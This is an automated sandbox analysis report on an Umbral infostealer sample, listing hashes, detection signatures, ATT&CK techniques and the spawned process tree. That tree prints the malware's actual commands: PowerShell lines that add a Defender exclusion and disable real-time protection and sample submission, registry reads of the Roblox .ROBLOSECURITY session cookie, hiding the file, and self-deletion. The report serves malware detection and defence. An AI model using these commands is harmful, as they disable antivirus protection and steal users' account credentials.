umbral | ebcbd3447da7718cc8e4a60e88ca8b4d1c707ffdd3e2aae75adccd0c6a845997

Analysis

max time kernel
61s
max time network
69s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
30-06-2024 07:22

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General

Target

googaga.exe
Size

229KB
MD5

bb8f1f278c259560f803b9e3ddaab6d7
SHA1

839877183007a9e042f9e7c5506d8830f7337b30
SHA256

ebcbd3447da7718cc8e4a60e88ca8b4d1c707ffdd3e2aae75adccd0c6a845997
SHA512

cdd9e9b95202ff3c081bb85cecb449e470770703b7b3ebf27f4c4af28b3a312be742c8dc4b000632ace7c5a2d700f8e4a26db362594f871390c9582c494f1bb4
SSDEEP

6144:lloZM9rIkd8g+EtXHkv/iD4f1YxndLocD+abtIExHNb8e1mai:noZOL+EP8f1YxndLocD+abtIExt8

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/752-0-0x000001A0CE390000-0x000001A0CE3D0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2120	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	googaga.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	discord.com
21	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2828	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4732	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2120	powershell.exe
2120	powershell.exe
1456	powershell.exe
1456	powershell.exe
4140	powershell.exe
4140	powershell.exe
3452	powershell.exe
3452	powershell.exe
1116	powershell.exe
1116	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	752	googaga.exe
Token: SeDebugPrivilege	2120	powershell.exe
Token: SeDebugPrivilege	1456	powershell.exe
Token: SeDebugPrivilege	4140	powershell.exe
Token: SeDebugPrivilege	3452	powershell.exe
Token: SeIncreaseQuotaPrivilege	1560	wmic.exe
Token: SeSecurityPrivilege	1560	wmic.exe
Token: SeTakeOwnershipPrivilege	1560	wmic.exe
Token: SeLoadDriverPrivilege	1560	wmic.exe
Token: SeSystemProfilePrivilege	1560	wmic.exe
Token: SeSystemtimePrivilege	1560	wmic.exe
Token: SeProfSingleProcessPrivilege	1560	wmic.exe
Token: SeIncBasePriorityPrivilege	1560	wmic.exe
Token: SeCreatePagefilePrivilege	1560	wmic.exe
Token: SeBackupPrivilege	1560	wmic.exe
Token: SeRestorePrivilege	1560	wmic.exe
Token: SeShutdownPrivilege	1560	wmic.exe
Token: SeDebugPrivilege	1560	wmic.exe
Token: SeSystemEnvironmentPrivilege	1560	wmic.exe
Token: SeRemoteShutdownPrivilege	1560	wmic.exe
Token: SeUndockPrivilege	1560	wmic.exe
Token: SeManageVolumePrivilege	1560	wmic.exe
Token: 33	1560	wmic.exe
Token: 34	1560	wmic.exe
Token: 35	1560	wmic.exe
Token: 36	1560	wmic.exe
Token: SeIncreaseQuotaPrivilege	1560	wmic.exe
Token: SeSecurityPrivilege	1560	wmic.exe
Token: SeTakeOwnershipPrivilege	1560	wmic.exe
Token: SeLoadDriverPrivilege	1560	wmic.exe
Token: SeSystemProfilePrivilege	1560	wmic.exe
Token: SeSystemtimePrivilege	1560	wmic.exe
Token: SeProfSingleProcessPrivilege	1560	wmic.exe
Token: SeIncBasePriorityPrivilege	1560	wmic.exe
Token: SeCreatePagefilePrivilege	1560	wmic.exe
Token: SeBackupPrivilege	1560	wmic.exe
Token: SeRestorePrivilege	1560	wmic.exe
Token: SeShutdownPrivilege	1560	wmic.exe
Token: SeDebugPrivilege	1560	wmic.exe
Token: SeSystemEnvironmentPrivilege	1560	wmic.exe
Token: SeRemoteShutdownPrivilege	1560	wmic.exe
Token: SeUndockPrivilege	1560	wmic.exe
Token: SeManageVolumePrivilege	1560	wmic.exe
Token: 33	1560	wmic.exe
Token: 34	1560	wmic.exe
Token: 35	1560	wmic.exe
Token: 36	1560	wmic.exe
Token: SeIncreaseQuotaPrivilege	4268	wmic.exe
Token: SeSecurityPrivilege	4268	wmic.exe
Token: SeTakeOwnershipPrivilege	4268	wmic.exe
Token: SeLoadDriverPrivilege	4268	wmic.exe
Token: SeSystemProfilePrivilege	4268	wmic.exe
Token: SeSystemtimePrivilege	4268	wmic.exe
Token: SeProfSingleProcessPrivilege	4268	wmic.exe
Token: SeIncBasePriorityPrivilege	4268	wmic.exe
Token: SeCreatePagefilePrivilege	4268	wmic.exe
Token: SeBackupPrivilege	4268	wmic.exe
Token: SeRestorePrivilege	4268	wmic.exe
Token: SeShutdownPrivilege	4268	wmic.exe
Token: SeDebugPrivilege	4268	wmic.exe
Token: SeSystemEnvironmentPrivilege	4268	wmic.exe
Token: SeRemoteShutdownPrivilege	4268	wmic.exe
Token: SeUndockPrivilege	4268	wmic.exe
Token: SeManageVolumePrivilege	4268	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 752 wrote to memory of 2400	752	googaga.exe	83
PID 752 wrote to memory of 2400	752	googaga.exe	83
PID 752 wrote to memory of 2120	752	googaga.exe	85
PID 752 wrote to memory of 2120	752	googaga.exe	85
PID 752 wrote to memory of 1456	752	googaga.exe	87
PID 752 wrote to memory of 1456	752	googaga.exe	87
PID 752 wrote to memory of 4140	752	googaga.exe	89
PID 752 wrote to memory of 4140	752	googaga.exe	89
PID 752 wrote to memory of 3452	752	googaga.exe	91
PID 752 wrote to memory of 3452	752	googaga.exe	91
PID 752 wrote to memory of 1560	752	googaga.exe	95
PID 752 wrote to memory of 1560	752	googaga.exe	95
PID 752 wrote to memory of 4268	752	googaga.exe	98
PID 752 wrote to memory of 4268	752	googaga.exe	98
PID 752 wrote to memory of 4824	752	googaga.exe	100
PID 752 wrote to memory of 4824	752	googaga.exe	100
PID 752 wrote to memory of 1116	752	googaga.exe	102
PID 752 wrote to memory of 1116	752	googaga.exe	102
PID 752 wrote to memory of 2828	752	googaga.exe	104
PID 752 wrote to memory of 2828	752	googaga.exe	104
PID 752 wrote to memory of 400	752	googaga.exe	107
PID 752 wrote to memory of 400	752	googaga.exe	107
PID 400 wrote to memory of 4732	400	cmd.exe	109
PID 400 wrote to memory of 4732	400	cmd.exe	109

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2400	attrib.exe

C:\Users\Admin\AppData\Local\Temp\googaga.exe
"C:\Users\Admin\AppData\Local\Temp\googaga.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:752
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\googaga.exe"
  2⤵
  - Views/modifies file attributes
  PID:2400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\googaga.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3452
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1560
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4268
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1116
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2828
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\googaga.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:4732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c65738617888921a153bd9b1ef516ee7

SHA1
5245e71ea3c181d76320c857b639272ac9e079b1

SHA256
4640ba4001fd16a593315299cbdd4988dc2c7075820687f1018aac40aca95c26

SHA512
2e2a0ebd93f9d8dd07a7599054bce232683e9add9a35e77b584618040bcfd84a42545352519ec4736cc379002210b6f3ed2d905591c6925c0981b0392b495bfa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
06b7778cec1639382c9d4b7dd3fb240c

SHA1
af27b5c49965178985608d1a7a8baff581cbb314

SHA256
042e985c4f77b4e3fb65bcd646e9b5c1825922a9a2de0ad2c09a87787e113f4b

SHA512
111fc53859bbe920f67289815880264d52cb35a899dcd077bf64da057b6a5200580fbca31e221cc425d1a5cdd1a4f65122e811f2635de19456e7f56042dc3e1f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3yv0muqr.nws.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/752-71-0x000001A0D0060000-0x000001A0D006A000-memory.dmp

Filesize
40KB

Download
memory/752-35-0x000001A0D0200000-0x000001A0D021E000-memory.dmp

Filesize
120KB

Download
memory/752-90-0x00007FF99AA50000-0x00007FF99B511000-memory.dmp

Filesize
10.8MB

Download
memory/752-72-0x000001A0D0220000-0x000001A0D0232000-memory.dmp

Filesize
72KB

Download
memory/752-2-0x00007FF99AA50000-0x00007FF99B511000-memory.dmp

Filesize
10.8MB

Download
memory/752-33-0x000001A0E8A80000-0x000001A0E8AF6000-memory.dmp

Filesize
472KB

Download
memory/752-34-0x000001A0D0190000-0x000001A0D01E0000-memory.dmp

Filesize
320KB

Download
memory/752-1-0x00007FF99AA53000-0x00007FF99AA55000-memory.dmp

Filesize
8KB

Download
memory/752-0-0x000001A0CE390000-0x000001A0CE3D0000-memory.dmp

Filesize
256KB

Download
memory/2120-15-0x00007FF99AA50000-0x00007FF99B511000-memory.dmp

Filesize
10.8MB

Download
memory/2120-14-0x00007FF99AA50000-0x00007FF99B511000-memory.dmp

Filesize
10.8MB

Download
memory/2120-8-0x0000027C72E60000-0x0000027C72E82000-memory.dmp

Filesize
136KB

Download
memory/2120-13-0x00007FF99AA50000-0x00007FF99B511000-memory.dmp

Filesize
10.8MB

Download
memory/2120-18-0x00007FF99AA50000-0x00007FF99B511000-memory.dmp

Filesize
10.8MB

Download